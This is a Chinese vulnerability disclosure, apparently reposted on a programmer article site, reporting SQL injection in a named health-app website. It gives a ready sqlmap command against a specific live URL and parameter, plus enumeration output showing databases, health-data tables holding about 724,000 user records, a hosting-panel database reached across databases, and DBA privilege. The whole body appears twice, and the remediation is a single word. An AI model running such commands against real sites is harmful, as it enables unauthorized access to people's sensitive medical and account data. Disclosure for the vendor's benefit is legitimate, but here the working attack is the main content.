体检宝某处SQL注入涉及72w用户信息+跨库查询dba
程序员文章站
2022-04-07 09:42:24
RT 厂商大哥 app加waf pc没加哦
注入点:
sqlmap.py -u "http://www.xueyazhushou.com/info/infoc...
RT 厂商大哥 app加waf pc没加哦
注入点: sqlmap.py -u "http://www.xueyazhushou.com/info/infocontent.php?info_id =1" -D tijianshi --count --tables
数据库信息
available databases [5]: [*] amh [*] information_schema [*] mysql [*] performance_schema [*] tijianshi
当前库表信息
Database: tijianshi +---------------------------+---------+ | Table | Entries | +---------------------------+---------+ | loveand_emo | 5008927 | | loveand_bloodPressure | 4741975 | | loveand_heartRate | 4306167 | | loveand_oxygen | 3947519 | | loveand_kkk | 3768803 | | loveand_wave | 2539251 | | loveand_emoCoin | 1377344 | | loveand_coin | 1332896 | | loveand_lungsBreath | 725240 | | loveand_users | 724432 | | loveand_stepCounter | 627474 | | loveand_device | 560664 | | loveand_bloodPressureCoin | 552874 | | loveand_heartRateCoin | 534761 | | loveand_oxygenCoin | 495911 | | loveand_kkkCoin | 474414 | | loveand_waveCoin | 474335 | | loveand_breathRate | 464993 | | loveand_push | 460668 | | loveand_visionValue | 390168 | | loveand_listen | 308340 | | loveand_visionSemang | 278497 | | loveand_weight | 254260 | | loveand_stature | 253355 | | loveand_user_fix_hand | 151242 | | loveand_xinliYiyu | 148954 | | loveand_visonSeruo | 146770 | | loveand_bmi | 131925 | | loveand_visionSemangCoin | 107117 | | loveand_lungsBreathCoin | 77208 | | loveand_visionTrain4 | 63898 | | loveand_msg | 63851 | | loveand_visionTrain2 | 56345 | | loveand_visionTrain7 | 56038 | | loveand_bloodPressTrain2 | 51639 | | loveand_visionTrain3 | 50462 | | loveand_visionTrain5 | 49252 | | loveand_xinliKangya | 48788 | | loveand_visionTrain1 | 47949 | | loveand_visionValueCoin | 46934 | | loveand_xinliZibi | 45150 | | loveand_coinGain | 42592 | | loveand_visionCoin4 | 42334 | | loveand_visionTrain9 | 39516 | | loveand_visionTrain6 | 36845 | | loveand_visionCoin5 | 32972 | | loveand_listenCoin | 32397 | | loveand_visionCoin7 | 32212 | | loveand_visionTrain8 | 32121 | | loveand_visionCoin1 | 31517 | | loveand_temperature | 31273 | | loveand_visionCoin2 | 31125 | | loveand_visonSeruoCoin | 31020 | | loveand_comment | 29835 | | loveand_visionCoin3 | 27625 | | loveand_weightTrain1 | 23881 | | loveand_news | 23798 | | loveand_xinliYiyuCoin | 21680 | | loveand_visionCoin6 | 21120 | | loveand_visionCoin9 | 20779 | | loveand_visionCoin8 | 20163 | | loveand_user_bind | 19574 | | loveand_bloodPressTrain1 | 19063 | | loveand_info_comment | 17747 | | loveand_weightCoin1 | 17726 | | loveand_user_notice | 15112 | | loveand_listenTrain1 | 12164 | | loveand_xinliKangyaCoin | 10889 | | loveand_bloodPressCoin1 | 8643 | | loveand_coin_store | 8331 | | loveand_listenTrain2 | 7817 | | loveand_xinliZibiCoin | 7731 | | loveand_listenCoin1 | 7161 | | loveand_listenTrain4 | 6349 | | loveand_listenTrain3 | 6190 | | loveand_listenTrain5 | 5942 | | loveand_listenCoin2 | 5353 | | loveand_listenCoin4 | 4501 | | loveand_listenCoin3 | 4493 | | loveand_listenCoin5 | 4311 | | loveand_feedback | 3133 | | loveand_user_fix | 2885 | | loveand_user_msg | 2832 | | loveand_weightTrain2 | 1393 | | loveand_user_friends | 1365 | | loveand_info | 1299 | | loveand_weightCoin2 | 1184 | | loveand_blacklist | 193 | | loveand_user_fix_cal | 157 | | loveand_user_family | 51 | | loveand_infoclass | 15 | | loveand_newsclass | 7 | | loveand_banner | 4 | | loveand_admin | 2 | | loveand_push_sys | 1 | | loveand_weixin | 1 | +---------------------------+---------+
垮裤查询
Database: amh +------------+---------+ | Table | Entries | +------------+---------+ | amh_config | 9 | | amh_login | 9 | | amh_log | 8 | | amh_ftp | 1 | | amh_host | 1 | | amh_user | 1 | +------------+---------+
dba权限
注入点: sqlmap.py -u "http://www.xueyazhushou.com/info/infocontent.php?info_id =1" -D tijianshi --count --tables
数据库信息
available databases [5]: [*] amh [*] information_schema [*] mysql [*] performance_schema [*] tijianshi
当前库表信息
Database: tijianshi +---------------------------+---------+ | Table | Entries | +---------------------------+---------+ | loveand_emo | 5008927 | | loveand_bloodPressure | 4741975 | | loveand_heartRate | 4306167 | | loveand_oxygen | 3947519 | | loveand_kkk | 3768803 | | loveand_wave | 2539251 | | loveand_emoCoin | 1377344 | | loveand_coin | 1332896 | | loveand_lungsBreath | 725240 | | loveand_users | 724432 | | loveand_stepCounter | 627474 | | loveand_device | 560664 | | loveand_bloodPressureCoin | 552874 | | loveand_heartRateCoin | 534761 | | loveand_oxygenCoin | 495911 | | loveand_kkkCoin | 474414 | | loveand_waveCoin | 474335 | | loveand_breathRate | 464993 | | loveand_push | 460668 | | loveand_visionValue | 390168 | | loveand_listen | 308340 | | loveand_visionSemang | 278497 | | loveand_weight | 254260 | | loveand_stature | 253355 | | loveand_user_fix_hand | 151242 | | loveand_xinliYiyu | 148954 | | loveand_visonSeruo | 146770 | | loveand_bmi | 131925 | | loveand_visionSemangCoin | 107117 | | loveand_lungsBreathCoin | 77208 | | loveand_visionTrain4 | 63898 | | loveand_msg | 63851 | | loveand_visionTrain2 | 56345 | | loveand_visionTrain7 | 56038 | | loveand_bloodPressTrain2 | 51639 | | loveand_visionTrain3 | 50462 | | loveand_visionTrain5 | 49252 | | loveand_xinliKangya | 48788 | | loveand_visionTrain1 | 47949 | | loveand_visionValueCoin | 46934 | | loveand_xinliZibi | 45150 | | loveand_coinGain | 42592 | | loveand_visionCoin4 | 42334 | | loveand_visionTrain9 | 39516 | | loveand_visionTrain6 | 36845 | | loveand_visionCoin5 | 32972 | | loveand_listenCoin | 32397 | | loveand_visionCoin7 | 32212 | | loveand_visionTrain8 | 32121 | | loveand_visionCoin1 | 31517 | | loveand_temperature | 31273 | | loveand_visionCoin2 | 31125 | | loveand_visonSeruoCoin | 31020 | | loveand_comment | 29835 | | loveand_visionCoin3 | 27625 | | loveand_weightTrain1 | 23881 | | loveand_news | 23798 | | loveand_xinliYiyuCoin | 21680 | | loveand_visionCoin6 | 21120 | | loveand_visionCoin9 | 20779 | | loveand_visionCoin8 | 20163 | | loveand_user_bind | 19574 | | loveand_bloodPressTrain1 | 19063 | | loveand_info_comment | 17747 | | loveand_weightCoin1 | 17726 | | loveand_user_notice | 15112 | | loveand_listenTrain1 | 12164 | | loveand_xinliKangyaCoin | 10889 | | loveand_bloodPressCoin1 | 8643 | | loveand_coin_store | 8331 | | loveand_listenTrain2 | 7817 | | loveand_xinliZibiCoin | 7731 | | loveand_listenCoin1 | 7161 | | loveand_listenTrain4 | 6349 | | loveand_listenTrain3 | 6190 | | loveand_listenTrain5 | 5942 | | loveand_listenCoin2 | 5353 | | loveand_listenCoin4 | 4501 | | loveand_listenCoin3 | 4493 | | loveand_listenCoin5 | 4311 | | loveand_feedback | 3133 | | loveand_user_fix | 2885 | | loveand_user_msg | 2832 | | loveand_weightTrain2 | 1393 | | loveand_user_friends | 1365 | | loveand_info | 1299 | | loveand_weightCoin2 | 1184 | | loveand_blacklist | 193 | | loveand_user_fix_cal | 157 | | loveand_user_family | 51 | | loveand_infoclass | 15 | | loveand_newsclass | 7 | | loveand_banner | 4 | | loveand_admin | 2 | | loveand_push_sys | 1 | | loveand_weixin | 1 | +---------------------------+---------+
垮裤查询
Database: amh +------------+---------+ | Table | Entries | +------------+---------+ | amh_config | 9 | | amh_login | 9 | | amh_log | 8 | | amh_ftp | 1 | | amh_host | 1 | | amh_user | 1 | +------------+---------+
dba权限
解决方案:
过滤